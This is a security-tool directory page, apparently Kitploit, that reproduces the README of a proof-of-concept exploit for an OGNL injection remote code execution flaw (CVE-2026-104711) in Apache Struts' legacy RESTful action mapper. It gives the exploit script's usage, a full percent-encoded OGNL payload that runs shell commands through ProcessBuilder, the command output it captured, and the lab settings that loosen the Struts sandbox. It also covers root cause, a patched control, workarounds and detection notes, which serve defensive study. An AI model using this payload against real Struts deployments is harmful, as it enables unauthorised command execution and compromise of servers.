Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/fixedbyreboot/cve-2026-104711-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPayload DevelopmentLabs & Practice
GitHubfixedbyreboot/cve-2026-104711-poc

CVE-2026-104711-POC

POC exploit for CVE-2026-104711 - OGNL injection RCE in Apache Struts legacy REST action mapper (S2-075). Vulnerable vs fixed verification included.

저장소 보기
213일 전아직 검토되지 않음
공유
요청한 언어로 콘텐츠를 사용할 수 없습니다. 영어 버전을 표시합니다.

CVE-2026-104711 — Apache Struts OGNL injection (S2-075)

Language CVSS Affected Status Advisory License

Improper neutralization of an OGNL expression in the legacy RESTful action mapper (S2-075, CWE-917). When an application configures org.apache.struts2.dispatcher.mapper.RestfulActionMapper, the action name is taken verbatim from the first URI path segment. Unlike DefaultActionMapper, the legacy mapper never applied the allowed action-name pattern, so a request whose first path segment contains an OGNL expression passes it unchanged into downstream consumers that evaluate OGNL, leading to remote code execution. Fixed in Struts 6.12.0 and 7.4.0 (the mapper now routes non-conforming names to a configurable default action name, exactly like DefaultActionMapper has done since the S2-057/S2-061 hardening). NVD scores 9.8 (AC:L); the vendor scores 8.1 because the legacy mapper must be explicitly configured (AC:H).

Meta

  • Affected: Struts 2.0.0 - 2.3.37, 2.5.0 - 2.5.33, 6.0.0 - 6.11.0, 7.0.0 - 7.3.0
  • Fixed: 6.12.0 (6.x line), 7.4.0 (7.x line)
  • CVSS v3.1: 9.8 critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, NVD); vendor-scored 8.1
  • Advisory: https://cwiki.apache.org/confluence/display/WW/S2-075
  • GHSA: https://github.com/advisories/GHSA-wfm5-pq4p-gff9
  • oss-security: http://www.openwall.com/lists/oss-security/2026/10/05/10
  • Not affected: default action mapper, restful2 mapper, Struts REST plugin; Struts 7 default config (OGNL allowlist enabled)

Usage

Build and start both lab instances (vulnerable 6.11.0 and patched 6.12.0 control, identical application config):

docker compose build
docker compose up -d
  • http://127.0.0.1:8081 - vulnerable target (Struts 6.11.0)
  • http://127.0.0.1:8082 - patched control (Struts 6.12.0)

--mode selects the demonstration:

python3 poc.py --url http://127.0.0.1:8081 --mode eval
# one GET, OGNL expression in the first path segment; the evaluated string
# replaces the raw expression in the response header

python3 poc.py --url http://127.0.0.1:8081 --mode exec --command "id"
# command execution via java.lang.ProcessBuilder, output reflected in the
# same response header

--url is the lab base URL. --command is the command for exec mode (no / allowed; see Notes). Run the same commands against port 8082 for the control.

Expected output

Vulnerable target (Struts 6.11.0):

$ python3 poc.py --url http://127.0.0.1:8081 --mode exec --command "id; hostname; uname -s"
[*] exec: command 'id; hostname; uname -s' via sh -c, output reflected in X_Matched_Action
GET /%25%7Bnew%20java.util.Scanner%28new%20java.lang.ProcessBuilder%28%27shX-cXid%3B%20hostname%3B%20uname%20-s%27.split%28%27X%27%29%29.start%28%29.getInputStream%28%29%29.nextLine%28%29%7D/x
HTTP/1.1 200
X_Matched_Action: uid=1000(labuser) gid=1000(labuser) groups=1000(labuser),19(log),90(network),96(scanner),98(power),954(docker),982(users),983(video),985(storage),988(optical),989(lp),992(input),995(audio),998(wheel),1001(uinput)

Patched control (Struts 6.12.0), same requests:

$ python3 poc.py --url http://127.0.0.1:8082 --mode eval
X_Matched_Action: index

$ python3 poc.py --url http://127.0.0.1:8082 --mode exec --command "id; hostname; uname -s"
X_Matched_Action: index

Full raw captures live in evidence/ (vulnerable trigger, control run, and a scoping note on Struts' default guard layers).

Why it works

The 6.12.0 fix tells the story by itself. In 6.11.0 the mapper hands the raw URI segment to the action proxy:

// 6.11.0 - RestfulActionMapper.getMapping()
String actionName = uri.substring(1, nextSlash);

In 6.12.0 the segment is gated exactly like DefaultActionMapper:

// 6.12.0 - RestfulActionMapper.getMapping()
String actionName = cleanupActionName(uri.substring(1, nextSlash));
// cleanupActionName(): pattern [a-zA-Z0-9._!/\-]*, else defaultActionName ("index")

The lab app pairs the mapper with a wildcard action whose httpheader result embeds the wildcard-matched name in a header value:

<action name="*" class="com.opensymphony.xwork2.ActionSupport">
  <result type="httpheader">
    <param name="status">200</param>
    <param name="headers.X_Matched_Action">{1}</param>
  </result>
</action>

HttpHeaderResult evaluates its header values as OGNL against the value stack by default (parse=true, TextParseUtil.translateVariables(value, stack)), and the wildcard {1} substitution injects the raw action name into the evaluated string. On 6.11.0 the expression in the first path segment therefore reaches OgnlValueStack.findValue() untouched in a single request; on 6.12.0 the mapper replaced it with index before any evaluation happens, so the control responds with X_Matched_Action: index for the very same requests.

Path-encoding details that matter for the payload: the expression travels percent-encoded in the first path segment (%25 for the leading %, so Tomcat decodes the servlet path back to the exact OGNL text), the segment cannot contain / (a raw slash would end the action-name segment and Tomcat rejects %2F), and command arguments are passed to ProcessBuilder as a split('X') array (OGNL 3.3.5 does not match varargs constructors/methods with multi-argument call syntax in this evaluation path).

Notes

  • Guard scoping (see evidence/default-guards-scoping.txt for captured logs): achieving the ProcessBuilder RCE payoff requires relaxing two defense-in-depth layers that are independent of this CVE: (1) struts.excludedClasses / struts.excludedPackageNames (the Struts OGNL sandbox defaults exclude Runtime, ProcessBuilder, java.io, ognl, freemarker, ...), and (2) OGNL's own strict invocation mode (-Dognl.UseStricterInvocation, default true, hard-blocks ProcessBuilder/Runtime/ClassLoader methods inside invokeMethod()). The lab sets both to demonstrably harmless values and documents them in app/src/main/resources/struts.xml and the Dockerfile. The eval-mode injection works with fully default guards; the 6.12.0 control closes the injection itself, so the outcome is identical regardless of these settings.
  • Struts 7 is only affected when the OGNL allowlist is disabled (it is enabled by default); the fixed 7.4.0 behaves like 6.12.0 here.
  • Workaround for unpatchable deployments: use the default action mapper, the restful2 mapper, or the Struts REST plugin. Both legacy RESTful mappers are deprecated since 6.12.0/7.4.0 and are scheduled for removal.
  • Detection: wildcard actions feeding user-controlled segments into OGNL- evaluating results (httpheader, redirect, Freemarker/Velocity results) with %{/${ in request paths is a high-signal pattern; 6.12.0+ logs "<name> did not match allowed action names ... - default action index will be used!" at WARN when the new gate rejects a segment.
  • Evidence on this lab host was captured running the built WAR on a stock Tomcat 9.0.111 + JDK 21 user-space install (the host kernel temporarily lacked overlayfs for container runs); docker-compose.yml/Dockerfile reproduce the identical targets on a normal Docker host.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 궁극의 OSINT 툴킷: 조사 그래프, 신뢰도 점수 산정, 별칭 패밀리, 지도, 타임라인 및 보고서. 49개 모듈, 400개 이상 사이트, API 키 불필요.

    901
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # GhostLock 원탭 실행 앱 (CVE-2026-43499)

    861
  • 3

    wifit3

    derv82/wifit3

    Wifite지만 USB 전용 및 크로스 플랫폼.

    668
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer는 오픈소스 권한 접근 관리(PAM) 플랫폼으로, DevOps 및 IT 팀이 웹 브라우저를 통해 SSH, RDP, Kubernetes, 데이터베이스 및 RemoteApp 엔드포인트에 주문형 보안 액세스를 제공합니다.

    448
  • 5

    looking-glass

    anonghosty/looking-glass

    Shadowserver 보고서를 MongoDB로 수집하고 이를 대화형 지도, 분석, 발견 사항, 권고 및 경영진 대시보드로 재생하는 CSIRT 플랫폼입니다.

    414
  • 6

    SafeLine

    chaitin/safeline

    악성 HTTP 트래픽을 필터링하고 SQL 인젝션, XSS, 봇 공격을 차단하며, 속도 제한 및 동적 HTML/JS 암호화를 제공하는 자체 호스팅 WAF 및 리버스 프록시입니다.

    401

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
도구 다운로드